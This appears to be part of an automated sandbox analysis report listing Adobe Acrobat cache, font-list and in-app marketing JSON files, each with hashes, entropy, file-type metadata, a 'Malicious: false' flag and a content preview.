C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3060

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36431404573831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJM3g98kUwPeUkwRe9:YvXKXkTaDcgGMbLUkee9
MD5:	AE133420534A8F52AD6B905B18EADA92
SHA1:	B07B26C6B6647399F5BECC455473E6AE7FD4B363
SHA-256:	88B6ACCCC73174442A0144EECF6637847BE0787412B6966F9E6E6BFE82496148
SHA-512:	C3F42D54380EE0870C98BB3DFF9A5CF5DF68798533869FEE28C497EC6C09AD98A408B9D7B293892015AF899D6C316052EEFBF276E8D0DA2E02F1663F41E32D4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3155312564676045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfBoTfXpnrPeUkwRe9:YvXKXkTaDcgGWTfXcUkee9
MD5:	952FEC2EA5FF4D0E5E2A9894EF67D4C2
SHA1:	757D67F2DBD4821F418F30466D830544A9D24994
SHA-256:	9FB327FA3C555C06B93230A613A14F59D804DA3A17212F64BECD117AA025A677
SHA-512:	EE7E24BB477BB13FBDF14460BFC33A55B99020ABA9D81551B379FDD2F062DDCB792E0D092E6E943C204E173A3401517368A0CD3F0F000BF75541C43E7894C1DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295057439541637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfBD2G6UpnrPeUkwRe9:YvXKXkTaDcgGR22cUkee9
MD5:	E34CDA823247A256ABF220FA1C9622A8
SHA1:	ECB98D5DCB2131674A0550C37E0E8B2FFC7AC891
SHA-256:	9DD151180CA176FF5FB356EEAC4F44B88140F65345F611BF3354ED6715654837
SHA-512:	B21A4DC6E301C1CC286DAD81823F6EE4549ABFEF04FE76F2AA2F2911E6B2935A928B8DA59D459376F8D088EF194A5AC0CAE5EB548466658F27547C53641BE144
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344369977873163
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfPmwrPeUkwRe9:YvXKXkTaDcgGH56Ukee9
MD5:	B225A86636EE50F266F02BC78D79134C
SHA1:	5034BD592D509FE582F9DDC977416AC108D0DC2D
SHA-256:	4B222661F4F573D66B4896CDF66BD39225FD5A51D92A6D5FC96185C98A695019
SHA-512:	996B528C2E512592EB5AF459222786085EB1358E514ADFA348402F53F666678EFC5B43926582EFB6E8B4D1CC4C140D88AE6D3C8B70EC746AA624488A8D2E66AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68630581044239
Encrypted:	false
SSDEEP:	24:Yv6XkTao9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSX:YvBashgy6SAFv5Ah8cv/X
MD5:	58DB7CE0640916493913FF84A27D4861
SHA1:	73BB429E5881022C1E3B1D81A2D0130D9CC1564E
SHA-256:	277C1E7EDE5D2C50699925879C16C996CD0B2AADAE8534AB529801B209AC0228
SHA-512:	EFDEB2099C4B4E3F42710E5D17C273A57E41090CADA4F6870C751B85F3D6F36CBAEAF477011C71045F9605D63FCEA1EB15D9FD60FA2B42FD0D76937BDC01A4CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29393760856244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJf8dPeUkwRe9:YvXKXkTaDcgGU8Ukee9
MD5:	2AF0BDD868A773586471D24EAFD939BE
SHA1:	A20AA6979BD12FE74940C866416A26866ED087FE
SHA-256:	27789B0BF87BB6700943DF874A664A1F2B1790908E9E3E438A76BDCEDF4CCF17
SHA-512:	3D961B14ACDE40A3ED0294ACC4F5D6D28B049505E8E5878C81C695E7FE2F2D459F3E229CE64027727932097BF06C88519AF06E6682C22361CD76D25E7A23B6F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.295808362490597
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfQ1rPeUkwRe9:YvXKXkTaDcgGY16Ukee9
MD5:	A0D818AA079E8231626A2631D51ADFB4
SHA1:	0308735A220A194EE560E5D191CF758B60177584
SHA-256:	F19AB6BB8616579F106D6429FEC1FBAFEFCF71729755736B3517D030FAF4EAFB
SHA-512:	F11BBD01DCE62E79B12550354D6CB390FDA6CBB445BFA272776B8FEE7C3ED9E45F7B25E7822026EDF6EB6CA277BE4D71542FF74C94EE18B536F86E09543D9C54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304927279213295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfFldPeUkwRe9:YvXKXkTaDcgGz8Ukee9
MD5:	AAEE2514E879977CECE7AEC538768BAF
SHA1:	4003095E8245F7EEEEDE925F49A0D376F03FB991
SHA-256:	B5DAD4A602C17EA797C3CAA9DD43BC56888228F0F4D21384F1FF6678946B7800
SHA-512:	729F990170C04EC075BA9DF11A24F492E7A04F569760147A893FB9C49041CEF83865BBC29624E078EB1C95BCCE2D52F4A524E5BCEDF01EBAD100B3F596AC8011
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.320006105718299
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfzdPeUkwRe9:YvXKXkTaDcgGb8Ukee9
MD5:	81326FA15875C3FED010D433E369BD0B
SHA1:	ED61CA68B2D5DCCB5C391E3CCF44DCB9A5797602
SHA-256:	B61CE735F7AC1B01C81BB09941F66525DDB4DABFB5A49944DE4ACAC6952F39A9
SHA-512:	80BA9C5783D48976B2F6704634B36D450563C4886D25613215333F58DB1CA6842841B2B8DB2D986CB2D65F80AF5FFE484DF6F970945895EED4A1935E97C0C7CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300369369202534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfYdPeUkwRe9:YvXKXkTaDcgGg8Ukee9
MD5:	61E941375A91235B05B75825584A9F4D
SHA1:	929652E032B7E48FE07F273B32C0F985ED5ECF61
SHA-256:	02AFCEF3000BEDF491DD1AD3A7DA1208D1172DFB7D9F569BCD841AA330AB5096
SHA-512:	0BF6983317CB425B4CC7596A6474111D3526EE56B43351DDE4A666397307838A6D54B26000CF7712813ADA1341347AAEDE0A660158876F1163509528C0F90886
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2872750859939845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJf+dPeUkwRe9:YvXKXkTaDcgG28Ukee9
MD5:	6F1AE13F6E442164BF6AB1B01CC46630
SHA1:	D1F3EC2AEEB68E629491624058626B6E04B2BE0B
SHA-256:	8DF7AD3D67629AF10810F78A364141654D9FA71B5EB6F864F3C90074E0869262
SHA-512:	6AFDE1EAC51B3906B228C280BD42C68425E49D5A5D0BD6D8C3D22E4BFC16DF79AA7FB5AD1D9C9A5F93DA5973DF0A027580F3461483A6007697CF2A483979B05F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283913928256449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfbPtdPeUkwRe9:YvXKXkTaDcgGDV8Ukee9
MD5:	420818408443711A4DBBB89A19567D28
SHA1:	83AF65883D4F809530FFD4F796E45701C500FF5A
SHA-256:	4CA3AB37C7F418C18122A41B51BF8A3B22D30249CDFD2D6027E02F78712270B4
SHA-512:	0B1495A60D06406A233D5323F4D29FD88D288794F2CC94350A7E081AD318602CDE4A76757596A9AC1ABC0F87EC9C860ADF048604B0315D4054542193B2527BCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286985980580292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJf21rPeUkwRe9:YvXKXkTaDcgG+16Ukee9
MD5:	54D575C7A7450CD7EC8C34617B472458
SHA1:	44C0F282962D079DC7DCE2C1503A75AEAE84A867
SHA-256:	D86C0565587D0CB0D994FAC092778E21E6D60F926574A8215EBAF0FFB531948B
SHA-512:	97D04E4FEE085E31B6B6FD5743E6C7DBBADDAEFCE9EADABF6C35824A23A16718C6BB811D1E69A6B625749B7CA2A1961321E71F396EC99BA7D737DAC9736A2166
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661783755455149
Encrypted:	false
SSDEEP:	24:Yv6XkTaoFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:YvBaeBgkDMUJUAh8cvMX
MD5:	295823D3CE3FC1E9E6077F3FE01C9843
SHA1:	F1D221C0DAAD988AE1911A2BD3930D36AF0A9396
SHA-256:	D4E5D3E2352A367D040A1CC8E5F6F789B1689163A98A6F9902981E24B438D9D8
SHA-512:	1ADA0D3661C9272DA1D3D28F6C46B3E46DF14D6E7ECFDF0480B64E27FD283FE39D8FF9DBFD9EC966F13D2FF83273D086597A7B2C329077A73FD62D548C692A67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.265774858432569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJfshHHrPeUkwRe9:YvXKXkTaDcgGUUUkee9
MD5:	BCA3D991366E0C8DF4A5F638548B94EE
SHA1:	96F1247FA45FF60E613CF334B0C6ACF32DBC51E1
SHA-256:	34986CDE5D50CDCCEBDEBE80E11DBDED525338D201E59F39209F753D78374001
SHA-512:	4F52342695F15952380C6E176B222E22817A716046C2FEC11595BA4C8442EB0D1D40A348D6E397B6F7ED38E3D50C577BB665DFFCA34BC07E143725A58B6AD84B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276078055354194
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAdTHlTQDnZiQ0Y0hoAvJTqgFCrPeUkwRe9:YvXKXkTaDcgGTq16Ukee9
MD5:	B6E20C5310DEC751F5EB41BE766496F1
SHA1:	AF60C8F62FDCA289651D1E4EA4A8AA51BB4F5E66
SHA-256:	56C9B180CA3C41AA951C04CEFB4ED53D1C5B7B2E8751D603715D05E75222B546
SHA-512:	9329A6A3104EC58E7276015F6886227C8282E4CA0963A17DB0FF0102913F537B6706ED828129DAF082ED77042915E95624D1198A441339EDECA69B13101436B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e962b54-95ea-4bd9-b1b2-bef56cb1173e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721544647,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131316619929668
Encrypted:	false
SSDEEP:	24:YbAG31LadrayRQANPGSbq9SBWzBj5yj0Sn6HdH2Phi2LS5Cw9YQBTk5us19YaduF:YbAaSt3q4YiOlacnnYQBQ/19o
MD5:	E01A6132BE997A85C096AA350D4413E0
SHA1:	2FDD4FDCD0934FC508C1D98759356068FEBA3283
SHA-256:	D415B75F805C6770955CA81155D2F187ECA307BCF8D771EA4EFBB0FDFCFFA31C
SHA-512:	A1F8BA1C723A0EEC7B5AD39F31401602ACFAB8FCA4E753630432B47D3244E156D4351B5862CA74AF19A747B1E0ED5136DA5B44396D6A06CED5808BCA4EEA0C4B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ef47acdd33ed207c81e63bf02da6e8b5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736546044000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e5e8e1dc5df0b96cebc6f5f7bf764aa8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736546044000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2f9b232e297894e081e8a772fc73c273","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736546044000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"bd71288e36f565f53b1a17b9ddedee8c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736546044000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ffaac5ee919b4a6be179030a4db4a597","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736546044000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b2b1045da6156a1a342b7dc351afd24a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1469576819791625
Encrypted:	false
